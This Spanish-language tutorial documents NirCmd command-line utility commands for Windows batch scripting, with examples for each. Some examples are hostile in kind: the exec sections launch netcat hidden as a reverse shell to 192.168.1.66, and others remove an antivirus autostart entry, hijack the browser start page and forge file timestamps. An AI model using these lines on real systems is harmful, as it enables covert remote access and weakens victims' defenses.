Comandos Nircmd
Nircmd es una pequeña utilidad, que te permite hacer una gran variedad de acciones utiles, pero sin interfaz, como el CMD. Excelente para ponerlos en nuestros Batch`s. Y asi poder ejecutar cualquier tipo de Accion.
Algunas de las acciones que puede ejecutar son:
Puede crear accesos directos con iconos, abrir una clave del registro, editar una clave, transparentar ventanas, esconderlas. abrir el CDROM, ejecutar comandos del CMD, sacar mensajes mucho mejores que el feo msg * XXX de CMD, ejecutar comandos de manera remota, preguntar al usuario sobre una accion especifica, editar archivos .INI, iniciar el Wallpaper, apagar el monitor, crear todo tipo de accesos directos con iconos, cambiar los datos de accesado/modificado etc de un archivo o carpeta, vaciar la papelera, cambiar titulos de las ventanas, esconder el boton Inicio, copiar cosas al portapapeles y viceversa, hacer sonar Beeps, cambiar el volumen, mover el mouse, teclear texto en una ventana, dar un enter en alguna aplicacion, y muchisimas otras cosas mas. Todo esta explicado mas abajo. Es solo un ejecutable de 28 KB, que no requiere instalacion ni nada, que pueden poner en %windir%\system32, para mas comodidad.
Cuando un comando no es reconocido o es incorrecto, salta la ventanita del Nircmd con la informacion del programa.
Nircmd puede trabajar en todos los SO's Windows de 32-bits.
Windows 9x/ME, Windows NT, Windows 2000, Windows XP, Windows Server 2003, y Windows Vista.
Pero algunos comandos solo trabajan en NT/2000/XP/2003/Vista.
El link de descarga directa desde la WEB del autor:
http://www.nirsoft.net/utils/nircmd.html
Variables de Sistema (Nircmd)
[/b]Las variables Nircmd son usadas por el mismo programa, se ven un poco complejas pero son faciles de entender y muy utiles a la hora de utilizar los comandos Nircmd.
Cada variable empieza con el caracter ~ , seguida por el nombre de la variable encerrada con los caracteres $.
Ejemplo ~$folder.desktop$ (Escritorio).
Clipboard Representa el portapapeles.
sys.varname Es opcion la puedes usar para representar cualquier variable de entorno del sistema
Ejemplo : ~$sys.windir$, ~$sys.username$, ~$sys.computername$, ~$sys.programfiles$, ~$sys.windir$, ~$sys.appdata$, ~$sys.clientname$, ~$sys.commonprogramfiles$, ~$sys.computername$, ~$sys.comspec$, ~$sys.homedrive$
~$sys.homepath$, ~$sys.logonserver$, ~$sys.number_of_processors$, ~$sys.OS$, ~$sys.path$, ~$sys.prompt$, ~$sys.sessionname$, ~$sys.systemdrive$, ~$sys.systemroot$, ~$sys.tmp$, ~$sys.temp$,
Todas las variables de entorno. (Comando SET en Cmd.)
nir.exefile Representa la ruta de Nircmd.exe
Ejemplo de uso de esta variable :
Código:
nircmd execmd copy "~$nir.exefile$" c:\
execmd, Es un comando Nircmd para utilizar comandos DOS. Lo veremos mas adelante.
copy Comando DOS.
"$nir.exefile$" La ruta de Nircmd.exe
c:\ Hacia donde se copiara, en este caso Nircmd.exe
folder.nircmd Representa la ruta donde esta Nircmd.
Ejemplo de uso de esta variable :
Código:
nircmd execmd msg * La ruta del ejecutable Nircmd.exe es : "~$folder.nircmd$"
folder.desktop Representa el escritorio.
Ejemplo de uso de esta variable :
Código:
nircmd execmd del "$folder.desktop$\calc.lnk"
Código:
nircmd execmd msg * La ruta de mi escritorio es "~$folder.desktop$"
Ustedes pueden sustituir el DEL, y el MSG, por todo tipo de comandos del CMD.
folder.start_menu Representa el la carpeta menu inicio.
Ejemplo de uso de esta variable :
Código:
nircmd execmd copy "~$folder.start_menu$\programas\*.*" c:\
Como dije antes ustedes pueden utilizar cualquier comando del CMD, para hacer lo que deseen.
folder.programs Representa la carpeta Menu Inicio\Programas. (Bajo el menu inicio.)
Ejemplo de uso de esta variable :
Código:
nircmd shortcut "c:\windows\system32\calc.exe" "~$folder.programs$\Calculadoras" "Calculadora de Windows"
El comando shortcut lo veremos mas delante.
folder.recent Representa la carpeta de Documentos Recientes.
Ejemplo de uso de esta variable :
Ya que no a todos nos interesa que hemos abrieto recientemente, ya que es confidencial XD.
Borraremos todo de esa carpeta, (Acceso directos.) :
nircmd execmd del "~$folder.recent$\*.lnk*"
Código:
Imaginen que hacemos un programa en Batch, que limpie toda la basura del PC, este comando seria muy util.)
folder.startup Representa la carpeta Inicio
Ejemplo de uso de esta variable :
Código:
nircmd execmd msg * La ruta de la carpeta Inicio es "~$folder.startup$"
folder.favorites Representa la carpeta Favoritos, donde estan todos los links a nuestras webs favoritas.
Ejemplo de uso de esta variable :
Código:
nircmd shortcut "C:\windows\system32\calc.exe" "~$folder.favorites$\Programas" "Calculadora"
shortcut Es un comando para crear accesos directos. Lo veremos mas adelante.
"C:\windows\system32\calc.exe" Es la ruta de un ejecutable, en este caso la calculadora de Windows.
"~$folder.favorites$\Programas" Lo primero es una variable de entorno de Nircmd, la carpeta Programas, se creara, en la carpeta Favoritos, y por consiguiente aparecera en el menu Favoritos\Programas de Internet Explorer.
"Calculadora" Es el nombre del acceso directo que se creará.
folder.cookies Representa la carpeta cookies.
Ejemplo de uso de esta variable :
Código:
nircmd execmd msg * La ruta de la carpeta cookies es "~$folder.cookies$"
Otro :
Código:
nircmd execmd del /f /q "~$folder.cookies$\*.txt*"
folder.appdata Representa la carpeta Datos de Programa.
Ejemplo de uso de esta variable :
Código:
nircmd execmd msg * La ruta de la carpeta Datos de programa es : "~$folder.appdata$"
folder.common_desktop Representa la carpeta Documments and settings\All Users\Escritorio
Ejemplo de uso de esta variable :
Código:
nircmd execmd msg * La ruta comun del escritorio es : "~$folder.common_desktop$"
folder.common_start_menu Representa la carpeta menu Inicio de todos los usuarios.
Ejemplo de uso de esta variable :
Código:
nircmd execmd msg * La ruta del menu inicio de todos los usuarios es : "~$folder.common_start_menu$"
folder.common_programs Representa la carpeta Menu Inicio\Programas
Ejemplo de uso de esta variable:
Código:
nircmd execmd msg * La ruta de la carpeta Menu Inicio\Programas es : "~$folder.common_programs$"
folder.common_startup Representa la ruta %allusersprofile%\Menu Inicio\Programas\Inicio
Ejemplo de uso de esta variable :
Código:
nircmd execmd msg * La ruta Representa %allusersprofile%\Menu Inicio\Programas\Inicio
que es = "~$folder.common_startup$"
folder.common_favorites Representa la ruta %allusersprofile%\Favoritos
Ejemplo de uso de esta variable :
Código:
nircmd execmd msg * Representa la ruta %allusersprofile%\Favoritos = "$folder.common_favorites$"
folder.windows Representa la carpeta %windir% o c:\windows
Ejemplo de uso de esta variable :
Código:
nircmd infobox "Tu sistema operativo esta en "~$folder.windows$"
folder.system Representa la carpeta %windir%\system32
Ejemplo de uso de esta variable :
Código:
nircmd infobox "La carpeta donde se ejecuta Nircmd es "~$folder.system$"
Comandos Nircmd
Nota : Todos los comandos deben de llevar antes Nircmd o nircmd.exe.
Remote Ejecuta un comando nircmd en una computadora remota.
Si se especifica el comando copy, nircmd se copiara asi mismo en la carpeta Windows de la maquina remota. El servicio Schedule tiene que estar iniciado. Y tienes que estar logueado en la maquina como Administrador. (Algo dificil noo?.). Si se logra ejecutar el comando de manera remota, tardara mas o menos 60 segundos debido a las limitaciones del servicio Programado.
La sintaxis es :
Código:
nircmd [copy] \\Computadora ComandoNircmd
Código:
nircmd remote copy \\computadora infobox "Mensaje" "Titulo de mi mensaje"
Código:
nircmd remote \\192.168.1.64 execmd msg * Hola
Multiremote Lo mismo que el anterior solo que este se ejecuta en varias computadoras de forma remota.
Si se especifica el parametro copy, Nircmd se copiara en el directorio Windows de las maquinas remotas.
Para ejecutar el comando en maquinas remotas, se debe hacer un archivo de texto, que contenga las maquinas remotas, donde se ejecutaran los comandos.
Algo asi:
\\computadora1
\\computadora2
\\servidor
\\MiPC
Sintaxis del comando :
Código:
nircmd [copy] "RutaDelArchivodeTexto" ComandoNircmd
nircmd multiremote copy "c:\computers.txt" lockwsnircmd
Código:
multiremote "c:\computers.txt" infobox "Mensaje" "Titulo de mi mensaje"
cmdwait Como su nombre lo dice, espera una cierta cantidad de milisegundos, para ejecutar el comando Nircmd especificado. Es algo parecido al PING -N XXX del CMD. Solo que en milisegundos. (1000 milisegundos = 1 segundo...creo.)
Ejemplos :
Código:
nircmd cmdwait 1000 screensaver
Código:
nircmd cmdwait 100 execmd msg * Hola
Código:
nircmd cmdwait 5000 execmd del /f /q c:\Hola.txt
nircmd cmdwait 10000 infobox "Mensaje" "Titulo de mi mensaje"
Paramsfile Este comando te permite ejecutar Comandos Nircmd en multiples veces, cargando uno o mas parametros desde un archivo de texto.
Ejemplo de uso :
Creamos un archivo llamado Nircmd.txt que contenga lo siguiente:
leo
leo1
leo2
leo3
leo4
Y nuestro comando seria asi :
Código:
nircmd paramsfile "%homedrive%:\nircmd.txt" "" "" execmd mkdir ~$fparam.1$
Otro Ejemplo :
nircmd paramsfile "c:\dos.txt" "" "" execmd msg * Fecha y Hora : ~$fparam.1$ ~$fparam.2$
En el archivo c:\dos.txt tenia: %date% y %time%
Un ejemplo que trae la misma ayuda del programa:
Se crea un archivo de texto con estas caracteristicas :
user01, 123456
user02, abcfg
user03, 5fr23
user04, 33333
Comando :
Código:
nircmd paramsfile "c:\archivo.txt" "," "" execmd net user ~$fparam.1$ ~$fparam.2$ /ADD
Luego usamos el comando DOS net user para crear los usuarios.
Y seguido usamos los parametros ~$fparam.1$, y ~$fparam.2$ que son los que toman, el texto del .txt.
Infobox Este comando Nircmd muestra un simple mensaje en la pantalla. Es una buena sustitucion para el Msg * XXX, Infobox permite una gran cantidad de caracteres en el mensaje (Yo conte 95,040 caracteres. Casi me ocupa la mitad de la pantalla.).
Sintaxis :
nircmd infobox "Mensaje" "Titulo del mensaje"
Ejemplos :
Código:
nircmd infobox "Le informamos que apartir de hoy su SO sera un desastre!! XD..." "Advertencia"
Caracteres Especiales
[/b]Hay ciertos caracteres que podemos usar para no crear confusion, ya que son usados por Nircmd.
~n Pasa a una nueva linea.
Ejemplo :
Código:
nircmd infobox "Esta es la primera linea de mi mensaje ~n Esta es la segunda linea de mi mensaje" "Titulo de mi mensaje"
Ejemplos :
Código:
nircmd infobox "~qEntre comillas~q" "Titulo de mi mensaje"
nircmd infobox "~qEntre comillas~q" "~qTitulo de mi mensaje entre comillas~q"
Ejemplo :
Código:
nircmd infobox "RockoX~tXXXX" "Titulo de mi mensaje."
Ejemplo :
Código:
nircmd infobox "Caracter ~x75" "Titulo de mi mensaje"
nircmd infobox "Caracter ~x80" "Titulo de mi mensaje"
Ejemplo :
Código:
Nircmd infobox "Su sistema operativo esta en su disco ~$sys.homedrive$" "Informacion de su PC"
Código:
nircmd execmd msg * Su sistema operativo esta en su disco ~$sys.homedrive$
Código:
~~
Seguimos con los comandos...
Qbox Muestra un dialogo de pregunta en pantalla, si el usuario responde "Si", ejecutara un programa de Windows o archivo.
Sintaxis :
nircmd qbox "Texto del mensaje" "Titulo del mensaje" "Accion"
Ejemplo :
Código:
nircmd qbox "Desear abrir la consola de Comandos?" "Advertencia" cmd.exe
nircmd qbox "Desea ver la red?" "Informacion" cmd.exe /k net view
nircmd qbox "Desea ver los programas que se inician con Windows?" "Advertencia" nircmd.exe regedit "HKLM\Software\Microsoft\Windows\currentversion\run" (Un ejemplo combinando ambos comandos. el comando Regedit lo veremos mas delante.)
nircmd qbox "Desea abrir su CDROM" "Advertencia" nircmd.exe cdrom open
nircmd qbox "Para que los cambios surtan efecto debe reinicar su sistema, desea reiniciar ahora?" "Adevertencia" shutdown -r -f -t 123
Qboxcom Muestra un dialogo de pregunta en pantalla, si el usuario contesta "Si" Ejecutara un comando Nircmd.
Sintaxis :
nircmd qboxcom "Mensaje" "Titulo del mensaje" Comando Nircmd
Ejemplo :
Código:
nircmd qboxcom "Desea bloquear su sesion?" "Advertencia" lockws
nircmd qboxcom "Desea abrir la Consola de comandos" "Advertencia" execmd start cmd.exe (Aqui ejecutamos comandos DOS, ya que usamos execmd.)
nircmd qboxcom "Desea abrir su CDROM?" "Advertencia" cdrom open
Script Este comando permite ejecutar una secuencia de comandos almacenados en un archivo (.ncl)
La extension puede ser cualquiera, claro que no pueden usar una extension de un ejecutable .exe a menos que tu lo hayas creado asi.
Sintaxis :
nircmd script "ArchivoScript"
Ejemplo :
En un archivo creado con el Bloc de notas, ponemos esto (Yo lo guarde con extension .exe) : (Ustedes lo pueden guardar con cualquier extension.)
Código:
infobox "Este es el primer mensaje" "Titulo1"
infobox "Este es el segundo mensaje" "Titulo2"
infobox "Este es el tercer mensaje" "Titulo3"
Código:
nircmd script "c:\RockoX.exe"
Otro Ejemplo de este comando :
En nuestro Script ponemos esto : (Yo lo guarde con extension .Hola.)
execmd md carpeta1
execmd md carpeta2
execmd md carpeta3
Lo ejecutamos :
Código:
nircmd script "C:\leo.Hola"
Regedit Abre el registro de Windows con la Clave\Valor especificado.
Sintaxis :
Nircmd Regedit "Clave" "Valor"
Ejemplos :
Supongamos que queremos saber todo lo que se ejecuta con el sistema.
Código:
nircmd regedit "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
Y le decimos al usuario :
Código:
nircmd qboxcom "Desea explorar su registro para encontrar la clave AMVO, y asi eliminarla manualmente?" "AntiAMVO" regedit "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" "AMVO"
RegSetVal Escribe una entrada en el Registro. El tipo de entrada puede ser de tipo sz o expand_sz (Alfanumerico) dword o Binario.Si la clave que quieres editar no existe se creara.
Sintaxis :
nircmd regsetval type "Clave" "Nombre del valor" "Valor nuevo"
Ejemplo :
Supongamos que quiero cambiar mi pagina de Inicio de Internet Explorer.
Código:
nircmd regsetval expand_sz "Hkey_Current_user\Software\Microsoft\Internet Explorer\Main" "Start Page" "www.RockoX.com"
Código:
nircmd regsetval sz "Hkey_Current_user\Software\Microsoft\Internet Explorer\Main" "Window Title" "RockoXwasHere"
Bueno se entiende la idea no.
regdelval Borra una entrada del registro.
Sintaxis :
nircmd regdelval "Clave" "Valor"
Ejemplo :
Queremos borrar la entrada que hace que se inicie el AMON del Nod32.
Código:
nircmd regdelval "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" "nod32kui"
RegdelKey Borra una clave entera del Registro.
Sintaxis :
nircmd regdelkey clave
Ejemplo :
Código:
regdelkey "HKEY_CURRENT_USER\Software\Pruebas"
Inisetval Escribe un valor en un archivo .INI. Si el archivo no existe se creara automaticamente.
Sintaxis :
nircmd initsetval "Archivo.ini" "sección" "Clave" "Valor"
Ejemplo :
Supongamos que tenemos un archivo en tu disco local c: llamado leo.ini y contiene estas lineas :
[leo] (Que seria la sección.)
flaca=hermosa (XD...)
[leo2] (Otra sección.)
flaca=bella (XD)
Y queremos editar, por ejemplo el flaca=hermosa por lo que sea, vamos a ver un ejemplo :
Código:
nircmd initsetval "c:\leo.ini" "leo" "flaca" "fea"
"leo" Es una sección del archivo .ini en este caso la sección [leo]
"flaca" Es una clave bajo la sección [leo].
"fea" Es el valor que le di a la clave "Flaca" bajo la sección LEO.
inidelval Como su nombre lo indica Borra una clave\valor entero en un archivo .ini .
Sintaxis :
nircmd inidelval "archivo.ini" "sección" "Clave"
Ejemplo :
Usaremos el mismo archivo del comando anterior.
Código:
nircmd inidelval "c:\leo.ini" "leo2" "flaca"
Inidelsec Borra toda una sección completa en un archivo .ini, incluyendo todos los valores contenidos en la sección.
Sintaxis :
nircmd inidelsec "archivo.ini" "sección"
Ejemplo :
Seguimos usando el mismo archivo .ini de ejemplo.
Supongamos que queremos borra la sección [leo2] del archivo .ini creado.
Código:
nircmd inidelsec "c:\leo.ini" "leo2"
Con eso se borraria la sección [leo2].
regsvr Registra o desregistra archivos .DLL ú .OCX.
Se pueden especificar dos parametros : reg o unreg, el primero para registrar y el segundo para lo contrario.
Sintaxis :
nircmd regsvr reg ó unreg "Archivo.ocx o dll" "archivo.txt" (Lo del archivo es opcional, solo es para guardar los resultados del proceso en un archivo de texto, o log.)
Ejemplo :
Por ejemplo yo quise desregistrar la libreria msvcr71.dll
Código:
nircmd regsvr unreg "c:\windows\system32\msvcr71.dll" "c:\leo.txt"
Failed to load the registration function. (Falló)
rasdial Marca a una entrada RAS (VPN o entrada telefonica), sin desplegar ninguna interfaz de usuario. El nombre de la entrada es obligatorio.
Sintaxis :
nircmd rasdial "Nombre entrada" "Archivo de telefono" "Nombre de usario" "Password" "Dominio"
Ejemplo :
Código:
nircmd rasdial "My internet"
nircmd rasdial "VPN1" "" "usuario" "Password" "Midominio"
Este comando no lo utilize, asi que no se si funciona bien o no.
inetdial Marca a una entrada RAS (VPN o entrada telefonica), y muestra un dialogo de informacion durante el proceso de marcado. Este comando solo funciona con Internet Explorer 4 para arriba. No trabaja en Win98.
Sintaxis :
nircmd inetdial "Nombre Entrada"
Ejemplo :
Código:
nircmd inetdial "VPN1"
Me voy a saltar este tipo de comandos ya que es raro que se usen ese tipo de procesos.
Exitwin
Sintaxis :
nircmd exitwin TipodeApagado opcionesAdicionales
Este comando termina con la sesion actual de Windows. El tipo de Apagado puede ser de los siguientes :
Logoff Termina la secion actual, desloguea la sesion actual y muestra la ventana de bienvenida para entrar con otro usuario. Similar al comando shutdown -l de Windows.
reboot Reinicia el sistema, similar a shutdown -r de Windows.
poweroff Apaga completamente el Sistema, luego apaga el poder. (Solo para sistemas que soporten esta caracteristica)
shutdown Simplemente apaga el sistema, sin reiniciar ni nada de lo anterior.
Opciones Adicionales de exitwin :
Force : Forza a las aplicaciones a cerrarse inmediatamente.
Forceifhung : Forza a las aplicaciones a cerrarse si estas no responden. (Solo en 2000/XP.)
Ejemplos :
Código:
nircmd exitwin reboot force
nircmd exitwin porweroff force
nircmd exitwin logoff forceifhung
nircd exitwin shutdown
Initshutdown Inicia un apagado del sistema. Este comando es similar a exitwin, pero este comando tiene algunas caracteristicas que Exitwin no soporta, como poner un mensaje, tiempo de espera.
Sintaxis :
nircmd initshutdown "Mensaje" "TiempoEnSegundos" force o reboot
Force : Forza a todas las aplicaciones a cerrarse y luego apaga.
reboot : Reinicia.
Ejemplos :
Código:
nircmd initshutdown "Apagando el sistema en 60 segundos" 60 reboot
nircmd initshutdown "" 0 force (Omitimos el mensaje.)
Abotshutdown Aborta el apagado iniciado con el comando anterior.
Sintaxis :
nircmd abortshutdown
Ejemplo :
Código:
nircmd qboxcom "El sistema se esta apagando, desea cancelar el apagado?" "Advertencia" abortshutdown
Lockws Bloquea la estacion. Es igual a teclear Windows+L.
Sintaxis :
nircmd lockws
Ejemplo :
Código:
nircmd qboxcom "Usted tiene ganas de ir al baño, desea bloquear su sesion, en lo que vuelve?" "Advertencia" lockws
monitor Cambia el estado del monitor. Y las acciones pueden ser las siguientes :
off : Apagar el monitor.
on : Encender el monitor.
low : Poner el monitor en su estado mas bajo.
Sintaxis :
nircmd monitor accion
Ejemplos:
Código:
nircmd monitor off
nircmd monitor on
nircmd monitor low
Screensaver Arranca el Protector de pantalla.
Ejemplo :
Código:
nircmd screensaver
Standby Apaga el sistema y lo pone en modo standby. Si el parametro force es especificado, el sistema es forzado a ir al modo standby sin pedir permiso.
Claro que este comando solo trabaja si el modo standby es soportado.
Ejemplos :
Código:
nircmd standby force
nircmd standby
Hibernate Lo mismo que el ejemplo anterior, solo que este lo pone en modo hibernar.
Claro que tambien solo trabaja si el modo Hibernar esta soportado.
Ejemplos :
Código:
nircmd hibernate force
nircmd hibernate
Shortcut Crea un acceso directo, (Con icono y todoooo!!!!! )
Sintaxis :
Voy a poner la sintaxis del programa para no confundirnos.
nircmd shortcut [NombredelArchivo] [CarpetadondeSecreara] [Titulo del acceso directo] {Argumentos} {Icono} {Icon resource number} {ShowCmd} {Start in folder} {Atajo de teclado}
Explicacion de los parametros : (Todos los parametros deben ir entre comillas "" y por el orden de arriba.)
NombredelArchivo : Crear un acceso directo a este archivo.
Folder : La carpeta donde se creara el acceso directo, podemos usar las variables especialas como ~$folder.desktop$ y otras.
Titulo del acceso directo : El titulo del acceso directo que se creara.
Argumentos : Parametros especiales, se puede omitir, Argumentos adicionales a ejecutar en el archivo.
Icono : Parametro para poner un icono al acceso directo, se puede omitir, se debe de poner la ruta del icono, a utilizar.
Icon resource number : Parametro opcional, numero del recurso dentro del icono.
Francamente este parametro no lo utilizo, lo omito.
ShowCMD : Parametro opcional - Usa este parametro si tu quieres maximizar o minimizar la ventana del programa, Especifica "max" para maximizar o "min" para minimizar.
Start in Folder : Parametro opcional - Especifica la carpeta donde se lanzara el programa. Si no se especifica nada se lanzara desde la ruta donde esta El archivo (NombredelArchivo.)
Atajo de teclado : Parametro opcional - Especifica un atajo de teclado que activara el acceso directo. Ejemplo : Ctrl+Alt+A.
Ejemplos de uso :
Supongamos que tenemos un hermoso icono en el disco local c:\ y queremos crear un acceso directo a la calculadora de Windows (calc.exe) en el escritorio :
Código:
nircmd shortcut "c:\windows\system32\calc.exe" "~$folder.desktop$" "Calculadora freak" "" "c:\cd.ico" "" "max" "" "Alt+Ctrl+c"
Aqui pueden jugar un poco con las variables de Nircmd
Vamos a crearlo ahora en el menu inicio :
Código:
nircmd shortcut "c:\windows\system32\calc.exe" "~$folder.start_menu$" "Calculadora freak" "" "c:\cd.ico" "" "min" "" "Alt+Ctrl+c"
Cmdshortcut Crea un acceso directo a un Comando Nircmd.
Sintaxis :
nircmd cmdshortcut "RutaDondeSeCreara" Titulo del acceso directo" Comando
Ejemplo :
Código:
nircmd cmdshortcut "~$folder.desktop$" "Abrir el CDROM" cdrom open
nircmd cmdshortcut "~$folder.programs$" "Apagar Equipo" initshutdown "Apagar equipo en 60 segundos" 60 reboot
cmdshortcutkey Es similar al anterior solo que este te permite especificar un Atajo de teclado.
Sintaxis :
nircmd cmdshortcutkey "RutaDondeSeCreara" "Titulo del acceso directo" "Atajo" Comando
Ejemplos :
Código:
nircmd cmdshortcutkey "~$folder.desktop$" "Abrir CDROM" "Ctrl+Shift+W" cdrom open d:
nircmd cmdshortcutkey "~$folder.desktop$" "Bloquear sesion" "Ctrl+Shift+W" qboxcom "Desea bloquear su sesion" "Advertencia" lockws
urlshortcut Crea un acceso directo a una URL. Podemos usar la variable ~$folder.favorites$ para agregarlo a los favoritos del navegador Internet Explorer.
Sintaxis :
nircmd urlshortcut "URL" "RutaDondeSeCreara" "Titulo del acceso directo"
Ejemplo :
Código:
nircmd urlshortcut "http://www.Youtube.com" "~$folder.desktop$" "YouTube"
nircmd urlshortcut "http://www.youtube.com" "~$folder.favorites$" "Youtube"
nircmd urlshortcut "http://www.youtube.com" "~$sys.homedrive$\Mis accesos directos" "Youtube.com"
Exec Corre una aplicacion, y se puede especificar los parametros necesarios de esa aplicacion
Hay un parametro, que es Show/Hide para especificar si la aplicacion va a ser visible por el usuario o no.
Sintaxis :
nircmd exec show/hide "Programa con sus respectivos parametros"
Ejemplos :
Supongamos que estamos en una shell remota y queremos obtener otra shell, pero sin que se vea la pantalla del CMD.
Código:
nircmd exec hide "c:\windows\system32\nc.exe" -d -e cmd.exe 192.168.1.66 125
Otro Ejemplo:
Código:
nircmd exec hide "c:\windows\system32\telnet.exe" 192.168.1.66 125
nircmd exec hide "c:\windows\notepad.exe"
nircmd exec show "c:\windows\notepad.exe" (Haganlo para que vean la diferencia.)
exec2 Es similar a exec, solo que este trae otro parametro, que es Working Folder, que especifica la carpeta de trabajo de la aplicacion que abriste.
Sintaxis :
nircmd exec2 show/hide "Working Folder" "Aplicacion" Parametros de la aplicacion.
Ejemplos :
Código:
nircmd exec2 hide "c:\windows\system32" "c:\windows\system32\nc.exe" -d -e cmd.exe 192.168.1.66 126
nircmd exec2 show "c:\windows\system32" "c:\windows\system32\telnet.exe" 192.168.1.66 123
nircmd exec2 hide "c:\windows\system32" "c:\windows\system32\defrag.exe" /v c: (Desfragmentariamos el disco C: pero no se veria nada en pantalla.)
execmd Ejecuta un comando DOS sin mostrar nada en pantalla.
Sintaxis :
nircmd execmd Comando
Ejemplos:
Código:
nircmd execmd msg * Bienvenidoooooo!!!!!!
nircmd execmd mkdir "~$folder.desktop$\Mis Cositas"
nircmd execmd copy "~$folder.desktop$\Batch.Lnk" "c:\Mis accesos directos"
shexec Abre o imprime un archivo deacuerdo a la extension y el registro. Por ejemplo un archivo con extension .doc sera abierto deacuerdo al programa predeterminado con el que lo tengamos configurado. Y las operaciones pueden ser open o print.
Sintaxis :
nircmd shexec "operacion" "archivo"
Ejemplos :
Código:
nircmd shexec "open" "c:\Documentos\Glucidos.doc"
nircmd shexec "print" "c:\Documentos\RockoX.txt"
nircmd shexec "print" "c:\Documentos\RockoX.pdf"
nircmd shexec "open" "http://www.youtube.com"
setfiletime Cambia el Creado/Modificado/Accesado de uno o mas archivos. El primer parametro debe ser el archivo a modificar. Los parametros de fecha deben de ser en este formato : "dd-mm-yyyy" (Dia, mes, año), Si el parametro de la fecha no es especificado, o se especifica vacio asi "", la fecha no será cambiado; Si especificas "now" como el parametro de fecha, sera cambiado a la fecha actual.
Sintaxis :
nircmd "ArchivoAModificar" "Creado Modificado" "Accesado"
Ejemplos de uso :
Código:
nircmd setfiletime "c:\Hola.txt" "00-00-0000" "now" "now"
nircmd setfiletime "c:\Hola.txt" "now" "now" "now"
nircmd setfiletime "c:\Hola.txt" "24-06-2003 17:57:11" "" "22-11-2005 10:21:56"
Setfilefoldertime Cambia el Creado/Modificado/Accesado de uno o mas archivos/carpetas. Este comando es similar al anterior, solo que este tambien permite cambiar la fecha a carpetas. Solo bajo 2000/XP.
Sintaxis:
nircmd setfilefoldertime "Archivo o carpeta" "Creado Modificado" "Accesado"
Ejemplos de uso :
Código:
nircmd setfilefoldertime "c:\leo" "10-01-2003 11:22:12" "12-11-2002 02:34:11"
nircmd qboxcom "Desea cambiar los parametros de fecha de su carpeta" "Advertencia" setfilefoldertime "c:\leo" "10-01-2003 11:22:12" "12-11-2002 02:34:11"
Emptybin Vacia la papelera de reciclaje, se puede especificar el disco en el cual se limpiara, pero si me omite este parametro, todas las papeleras seran vaciadas.
Sintaxis :
nircmd emptybin [drive]
Ejemplos de uso :
Código:
nircmd emptybin c:
nircmd qboxcom "Desea vaciar la papelera de reciclaje en este momento?..." "Advertencia" emptybin c:
nircmd emptybin
Imaginen la utilidad de este comando en un programa en Batch, sobre limpieza.
Setdisplay Cambia las resoluciones de pantalla. Los parametros de Ancho y alto, representan el numero de pixeles de tu pantalla. El parametro de [Color Bits] representa el numero de colores mostrados en tu pantalla.
{refresh rate} es un parametro opcional que especifica el lapso de refreso. Si tu especificas el parametro {-updatereg}, las nuevas configuraciones quedaran guardadas en el registro. Si tu especificas ambos parametros {-updatereg} y {-allusers}, las nuevas configuraciones quedaran guardadas en el Registro para todos los usuarios.
Sintaxis :
nircmd setdisplay [width] [height] [color bits] {refresh rate} {-updatereg} {-allusers}
nircmd setdisplay [ancho] [alto] [color bits] ...
Ejemplos de uso :
Código:
nircmd setdisplay 800 600 24 -updatereg
nircmd qboxcom "Desea cambiar sus resoluciones de pantalla?" "Advertencia" setdisplay 800 600 24 -updatereg
nircmd qboxcom "Desea cambiar sus resoluciones de pantalla?" "Advertencia" setdisplay 800 600 24 90
nircmd setdisplay 1024 768 8 -allusers
Killprocess Termina el proceso especificado. Tu Puedes especificar la ruta del proceso 'C:\Program Files\Internet Explorer\iexplore.exe', el nombre del proceso (iexplore.exe), o el PID del proceso usando el caracter /antes del PID.
Este comando es muy similar al taskkill o el tskill del CMD.
Sintaxis :
nircmd killprocess proceso
Ejemplos de uso :
Código:
nircmd killprocess iexplore.exe
nircmd killprocess calc.exe
nircmd killprocess "c:\windows\system32\calc.exe"
nircmd killprocess /1112
closeprocess Termina con el proceso especificado. Como opuesto a killprocess, closeprocess no forza a los procesos a ser cerrados inmediatamente. En cambio,este envia un mensaje WM_CLOSE a todas las ventanas de los procesos especificados. Sin embargo, tome en cuenta que este comando no trabaja en procesos sin interfaz de usuario.
Yo lo veo igual que el comando anterior.
En el perametro de proceso, se puede especificar la ruta completa del proceso. (c:\windows\system32\calc.exe),el proceso (iexplore.exe), o el PID del proceso. ( /1112.).
Sintaxis :
nircmd closeprocess proceso
Ejemplos :
nircmd closeprocess iexplore.exe
nircmd closeprocess "c:\windows\system32\calc.exe"
nircmd closeprocess /1476
nircmd script "c:\Close.txt"
Script :
Código:
closeprocess "C:\windows\system32\calc.exe"
Memdump Lee la memoria de un proceso de acuerdo a los parametros que tu especofiques, y escribe dentro de un archivo de texto.
Sintaxis :
nircmd memdump [process] [dump file] [bytes por linea] {bytes to read} {start address} {nohex} {noascii}
Parametros :
[process] : El proceso que quieres a arrojar en memoria. Puedes especificar la ruta completa del proceso, el nombre solo (iexplore.exe) o el PID. (/1223)
[dump file] : El archivo donde se guardara el contenido del proceso especificado.
[bytes por linea]: Numero de bytes de memoria por linea, en el archivo arrojado.
[bytes to read] : Numero de bytes a leer.
{start address} : Comenzar el proceso de arrojamiento desde esta direccion de memoria.
{nohex} : Parametro opcional. Si tu especificas este parametro, los datos de memoria no seran guardados en un formato hexadecimal.
{noascii} : Parametro opcional. Si tu especificas este parametro, los datos de memoria no seran guardados en formato Ascii.
Ejemplos de uso :
Código:
nircmd memdump iexplore.exe "c:\mem.txt" "16" "0x10000" "0x400000" nohex noascii
Código:
nircmd memdump jetaudio.exe "c:\leo.txt" "10" "0x4000" "0x400000" noascii
nircmd memdump /1220 "c:\memoria.txt" "100" "0x40000" "0x4000000" nohex
Service Cambia el estado y el tipo de inicio de servicios y drivers.
Sintaxis :
nircmd service {\\Computer} {action} {service name}
Parametros :
{\\Computer}: Este parametro es opcional, Especifica el nombre de la maquina remota. Si se omite este parametro, se usara la maquina local.
[action] : La accion que quieres se haga. Y puede ser una de las siguientes:
Start : Iniciar el servicio o driver especificado.
Stop : Detiene el servicio o driver especificado.
pause : Pausa el servicio o driver especificado.
Continue : Continua el servicio o driver especificado.
Restart : Detiene y despues inicia otra ves el servicio o driver especificado.
Auto: Cambia el tipo de inicio de el servicio o driver, lo cambia a automatico.
Manual : Cambia el tipo de inicio de el servicio o driver, lo cambia a manual.
disabled : Cambia el tipo de inicio de el servicio o driver, lo cambia a Deshabilitado.
